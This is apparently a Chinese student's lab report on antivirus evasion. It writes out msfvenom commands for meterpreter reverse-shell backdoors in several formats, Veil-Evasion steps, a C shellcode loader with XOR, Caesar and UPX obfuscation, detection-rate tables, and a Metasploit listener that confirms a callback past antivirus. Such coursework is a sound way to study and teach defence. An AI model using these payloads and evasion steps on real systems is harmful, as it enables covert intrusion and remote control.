首页 > 其他分享 >20222427 2024-2025-1 《网络与系统攻防技术》实验三实验报告

20222427 2024-2025-1 《网络与系统攻防技术》实验三实验报告

时间:2024-10-22 16:59:23浏览次数:1  
标签:exe reverse 20222427 tcp 2427 2024 2025 msfvenom meterpreter

1.实践内容

1.1 本周知识总结

  • 深入学习关于缓冲区溢出的基础知识。

  • 学习了关于后门的一些基础知识。

1.2 回答问题

(1)杀软是如何检测出恶意代码的?

  • 病毒特征码检测

  • 加密文件分析

  • 基于行为检测的主动防御

  • 病毒云查杀

(2)免杀是做什么?

免杀,即Anti-AntiVirus(简写Virus AV),也就是反病毒技术。对恶意软件做处理使其不被杀毒软件所检测,是一种能使病毒木马避免被杀毒软件查杀的技术。

(3)免杀的基本方法有哪些?

  • 加密和混淆: 恶意代码作者会对其代码进行加密或混淆,使其难以被静态分析或特征匹配检测到。

  • 多次性变异: 恶意代码会采用多次性变异的方式生成不同的变种,以避免被杀软检测到。这可能包括修改代码的结构、添加无害的指令、改变代码的执行顺序等。

  • 反沙箱技术: 恶意代码会检测是否运行在沙箱环境中,并采取不同的行为以规避沙箱分析。

  • 针对杀软的特定漏洞: 恶意代码作者可能会利用杀软的漏洞来规避其检测,例如利用杀软的缺陷使其无法正确识别恶意代码。

  • 动态加载: 恶意代码可能会动态加载其恶意功能,使得静态分析难以发现其恶意行为。

  • 利用合法软件: 恶意代码作者可能会利用合法软件的漏洞或功能来执行其恶意行为,以规避杀软的检测。

1.3 实验要求

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

  • veil,加壳工具

  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验过程

2.1 msf编码器
(1)msfvenom介绍

Metasploit独立有效载荷生成器,也是msfpayload和msfencode的替代品。利用msfvenom生成木马程序,并在目标机上执行、在本地监听。

(2)产生不同编码次数的文件

这里我使用x86/shikata_ga_nai作为编码器,设置不同的编码次数进行多次迭代(即生成最终有效负载之前必须执行多少次编码传递,这样做可以隐身或防病毒规避),通过检出率观察免杀效果是否有变化。

编码0、1、10、60次
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.125.130 LPORT=2427 -f exe > en0.exe #无编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.125.130 LPORT=2427 -f exe > en1.exe #编码1次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.125.130 LPORT=2427 -f exe > en10.exe #编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 60 -b '\x00' LHOST=192.168.125.130 LPORT=2427 -f exe > en60.exe #编码60次


(3)不同输出文件

jar文件、php文件、python文件、apk文件
msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.125.130 LPORT=2427 x> ja20222427.jar #jar文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.125.130 LPORT=2427 x> ph20222427.php #php文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.125.130 LPORT=2427 x> py20222427.py #python文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.125.130 LPORT=2427 x> ap20222427.apk #apk文件(这里不使用“-b '\x00'”,因为没有指定编码器,使用的话会报错)


(4)免杀效果测试

将使用msfvenom生成的文件上传到VirusTotal 和Virscan 进行测试,查看免杀效果,检出率总结与部分检测截图如下。(使用VirusTotal的截图)

根据下表可知,多次编码的免杀效果微乎其微,而不同的payload对免杀效果的影响较大,meterpreter运行在python和php上免杀效果是相对最好的。




文件名 payload 编码器 编码次数 输出格式 VirusTotal Virscan
en0.exe windows/meterpreter/reverse_tcp 0 exe 61/73 28/48
en1.exe windows/meterpreter/reverse_tcp x86/shikata_ga_nai 1 exe 62/73 29/48
en10.exe windows/meterpreter/reverse_tcp x86/shikata_ga_nai 10 exe 61/73 26/48
en60.exe windows/meterpreter/reverse_tcp x86/shikata_ga_nai 60 exe 61/73 25/48
ja20222427.jar java/meterpreter/reverse_tcp 0 jar 34/63 8/22
ph20222427.php php/meterpreter/reverse_tcp 0 php 26/63 7/48
py20222427.py python/meterpreter/reverse_tcp 0 py 18/64 6/48
ap20222427.apk android/meterpreter/reverse_tcp 0 apk 61/73 10/48

2.2 Veil-Evasion

1.使用方法

vile #进入veil工具
use evasion #进入evasion模块
use c/meterpreter/rev_tcp.py #选择payload # 这里也可以先用“list”查看所有可选择的payload,然后直接使用“use payload序号”来选择payload
set LHOST 192.168.125.130 #设置IP
set LPORT 2427 #设置端口
options #查看配置内容
generate #执行payload
20222427xwtveil1 #输入生成文件的名称

  1. 实验过程

在本次实验中,我使用Veil-Evasion选择了不同的payload分别生成2个文件。

20222427xwtveil1.exe使用c/meterpreter/rev_tcp.py作为payload;
20222427xwtveil2.exe使用python/meterpreter/rev_tcp.py作为payload。

20222427xwtveil1.exe生成过程:




20222427xwtveil2.exe生成过程:




过程中需要对的库进行选择,这里我选择的是Py2Exe:

如果使用Pyinstaller,payload会转成能够直接使用的可执行程序;(但是我一直无法成功)
如果使用Py2Exe,把payload.py和两个相关的文件放到windows系统上,执行批处理脚本将payload转换成可执行程序。

免杀效果测试:

根据下表总结的检出率、结合2.1中4个exe文件的免杀效果可知,面对如今不断发展进化的杀毒软件,Veil-Evasion的免杀效果比msfvenom有所提升。


文件名 攻击载荷payload VirusTotal Virscan
20222427xwtveil1.exe c/meterpreter/rev_tcp.py 45/73 18/48
20222427xwtveil2.exe python/meterpreter/rev_tcp.py 12/63 3/48

2.3 C+shellcode编程+w64-mingw32

  1. 实现过程

这里我首先使用msfvenom生成一个Shellcode数组,再使用该数组编写程序。根据实验指导书,选择了不同的payload和编码器分别生成2个程序。

该方法具体实现过程如下:

(1)生成Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.125.130 LPORT=2427 -f c #生成一个c语言格式的Shellcode数组

msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.125.130 LPORT=2427 -f c #使用不同编码器
(2)编写程序
vim 2427.c #进入编辑器编写程序
程序内容如下:
unsigned char buf[] = 之前获得的shellcode;
int main()
{
int (func)() = (int()())buf;
func();
}

(3)编译
i686-w64-mingw32-g++ 20192415cshell.c -o #编译器在64位系统上构建32位应用程序

2427.exe基于2427.c,payload为windows/meterpreter/reverse_tcp且不进行编码:



2427X.exe基于2427X.c,payload为windows/meterpreter/reverse_https且由x86/bloxor编码一次:



免杀效果测试:

相较于msfvenom和Veil-Evasion,“C+shellcode编程+w64-mingw32”的免杀效果应该会更好一些,但是这次试验却没有体现出来。


文件名 攻击载荷payload 编码器 编码次数 输出格式 VirusTotal Virscan
2427.exe windows/meterpreter/reverse_tcp 0 exe 45/73 14/48
2427X.exe windows/meterpreter/reverse_https x86/bloxor 1 exe 31/73 10/48

2.4 组合应用各种技术实现恶意代码免杀

2.4.1 C+shellcode编程 + 异或 + 加密壳 + 压缩壳

(1)C+shellcode编程

使用 msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' -e x86/shikata_ga_nai LHOST=192.168.125.130 LPORT=2427 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -f c 得到一个shellcode

(2)异或

首先将(1)中生成的Shellcode进行异或,将异或后的数组作为新的Shellcode。
编写程序时在main函数中再次进行异或,这样两次异或后又回到了原来的Shellcode,但生成的exe却会有多不同,最后进行编译得到2427XOR.exe。异或相关代码如下:
​for (int i = 0; i < sizeof(buf); i++) {
buf[i] ^= 0x01;
}

(3)加密壳

(4)压缩壳

upx 2427_1.exe -o 2427_2.exe #加密后再压缩
upx 2427XOR.exe -o 2427press.exe #仅压缩


(5)免杀效果测试

由下表可知,加密壳反而会使检出率提高免杀效果下降,压缩壳的能稍提高免杀效果。不加任何壳反而免杀效果不错。

文件名 加密 压缩 VirusTotal Virscan
2427XOR.exe 12/72 3/51
2427_1.exe 47/69 13/51
2427_2.exe 29/72 10/51
2427press.exe 33/72 3/48

2.4.2 C+shellcode编程 + 凯撒加密

(1)C+shellcode编程

使用msfvenom -p windows/x64/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.125.130 LPORT=2427 -f c获得shellcode

使用Vscode,新建20222427jiami.c文件,输入代码,代码功能为将复制内容放入buf[]数组中,通过代码将shellcode1进行凯撒加密,将密文输入到2427jiami.txt文件中;

在同文件夹下新建空文件2427jiami.txt,用以存放密文

代码如图所示:

编辑并运行该c文件,得到相应的2427jiami.txt文件,新建一个2427jiemi.c文件,输入代码,代码功能为读取2427jiami.txt文件中的内容到shellcode1[]数组中,并进行解密,再运行shellcode。

代码如图所示:


编译该文件,打开文件所在位置,可以看到如下文件:

2427jiemi.exe为我们所需要的文件。

与查杀软件共存:

2.5 用电脑实测,在杀软开启的情况下,可运行并回连成功

在kali中使用msfconsole指令进入msf控制台,对msf控制台进行配置;

依次输入以下命令:

msfconsole #进入msf控制台
use exploit/multi/handler 使用监听模块,设置payload
set payload windows/x64/meterpreter/reverse_tcp 使用和生成后门程序时相同的payload
set LHOST 192.168.125.130 和生成后门程序时指定的IP相同
set LPORT 2427
exploit #开始监听

在Windows里运行2427jiemi.exe,返回kali,发现已经监听成功。

说明我们回连成功。

3.问题及解决方案

  • 问题1:安装veil时一直报错,提示找不到相应的文件(如图所示)。

  • 问题1解决方案:经过和同学交流,得知如果在安装veil时不能顺便下载Ruby包,只能自己手工下载相应的压缩包,再用相应的传输工具将包从Windows传到kali中。

  • 问题2:在生成第二个veil文件时,使用Pyinstaller一直不成功。

  • 问题2解决方案:经过网上查资料,但一直无法解决该问题,只得选择第2个方法Py2Exe,发现使用第二个方法并没有遇到任何问题。

  • 问题3:最开始生成shellcode时使用的是msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.125.130 LPORT=2427 -f c,发现最后生成的恶意可执行文件打开后几秒便消失了,无法运行到底。

  • 问题3解决方案:更换版本,使用msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.125.130 LPORT=2427 -f c,最后成功运行。

4.学习感悟

  • 安装veil工具十分的麻烦,感觉我花了几个小时去安装、重装veil,每次遇到的问题都千奇百怪,比如:镜像出错连接不到GitHub官网,找不到相应的安装包等问题。最后经过询问同学才得以解决一系列问题。

  • 在运行恶意代码时,火绒遇到所有有漏洞的文件都会立刻查杀,导致我的许多可执行文件执行不到几秒就消失了,可以看出电脑杀毒软件的强大,也感叹于这些杀毒软件对于电脑的保护作用。

  • 做实验需要的就是保持冷静,遇到问题不能慌乱。在这次实验中,安装veil以及最后的监听过程都花费了我十分多的时间,但只有坚持才能解决问题,完成相应的实验。

参考资料

标签:exe,reverse,20222427,tcp,2427,2024,2025,msfvenom,meterpreter
From: https://www.cnblogs.com/Fly-Mine/p/18488055

相关文章

  • 2024年软件设计师中级(软考中级)详细笔记【9】数据库技术基础(分值6分)
    目录前言第9章数据库技术基础(6分)9.1基本概念9.1.1数据库与数据库系统9.1.5数据库的三级模式结构9.2数据模型9.2.1数据模型的基本概念9.2.2数据模型的三要素9.2.3E-R模型9.2.4数据模型9.3关系代数9.3.1关系数据库的基本概念9.3.1.1关系模型9.3.25种基本的......
  • 【IEEE独立出版(ISBN号:979-8-3315-2986-4) | 连续多届稳定检索 | 大咖云集 | IEEE计算智
    重要信息大会网站:https://ais.cn/u/VRr6Rf【投稿参会】大会时间:2024年12月13-15日大会地点:中国-广州截稿时间:以官网信息为准出版检索:IEEE出版,见刊后由出版社提交至IEEEXplore, EI,Scopus检索组织单位征稿主题参会方式1、作者参会:一篇录用文章允许1名作者免......
  • 【西安理工大学主办,八大高校联合协办并重点推荐/品牌会议/JPCS独立出版,EI, Scopus稳定
    重要信息大会网站:https://ais.cn/u/2yymE3【投稿参会】截稿时间:以官网信息为准线下召开:2024年11月29日-12月1日会议地点:陕西·西安收录检索:EI,Scopus稳定双检索!征稿主题出版信息所录用的论文将以论文集形式递交JPCS出版,并提交至EICompendex,Scopus检索。......
  • 2024.10.22总结
    本文于github博客同步更新。今天打两场byd放三道黑是吧。第一场:A:CF1261F将区间拆分为\([x2^{i},(x+1)2^{i})\)的形式,发现两个区间中的数两两异或后形成的仍为一个区间,将A,B都拆分后区间两两异或会得到\(O(n^2\log^2n)\)个区间,取并即为答案,但复杂度无法接受。发现对......
  • 2024秋软工实践 爱码单车队展示与选题报告
    作业所属课程班级链接作业要求作业要求链接作业的目标开发一个基于LLM大模型接口的软件,为传统的软件赋予全新的体验和功能。团队名称爱码单车队成员1102201542--曾庆徽成员2102201211--池家益成员3102201302--毛震成员4102201420--林传昊成......
  • 2024牛客暑期多校训练营9 - VP记录
    A.ImageScaling签到题,找出举行宽高以后直接除以它们的\(\gcd\)使它们互质即可。(这道题居然会有人又WA又RE,我不说是谁)点击查看代码#include<cstdio>#include<cstring>usingnamespacestd;constintN=505;intn,m,x1,y1,x2,y2;charg[N][N];intgcd(intx,int......
  • 多校A层冲刺NOIP2024模拟赛11
    又双叒叕垫底了。rank11,T190,T212,T35,T435。accdoer上rank44,T1100,T20,T35,T435。难度难评,T1签,剩下的不可做?死磕T3了,猜一个结论假一个,打完暴力遗憾离场。好像两个题库都挂了几分,不管了,赛前挂分RP就++。慢报:5k_sync_closer成功地取得了NFLS模拟赛第一名的好成绩。冒泡......
  • Adobe Photoshop PS2024软件下载与安装步骤
    一、AdobePhotoshop软件简介1.1软件概述AdobePhotoshop(简称PS)是由Adobe公司开发的一款功能强大的图像处理软件,广泛应用于广告设计、摄影后期、数字绘画、网页设计等各个领域。它提供了丰富的图像编辑工具,如颜色、亮度、对比度、饱和度调整,以及图像的切割、缩放、旋转、变......
  • 2024/10/22-人工智能教育技术学-提示语设计
    操作演练-完成一份简单的教案(期末大作业之一)用AI完成(10分钟)提示语设计的重要性要点(来自KIMI2024)明确目标,简洁,上下文相关性,避免歧义,迭代优化,考虑多样性,利用示例,遵循道德和法律标准提示语设计四方面(公式,AI优化,Markdown模板,提示语智能体)公式-任务导向(请你作为角色,执行任务,要求,......
  • 2024.10.22 教案 22320305黄晶
    守株待兔》小学课文教案一、教学目标知识目标:学生能够理解《守株待兔》的故事内容,认识并会写本课中的生字词,如“守”、“株”、“待”、“兔”等,理解“偶然”与“必然”的区别。能力目标:培养学生通过阅读理解寓意的能力,提升口头表达能力和逻辑思维能力,能够复述故事并阐述其中蕴......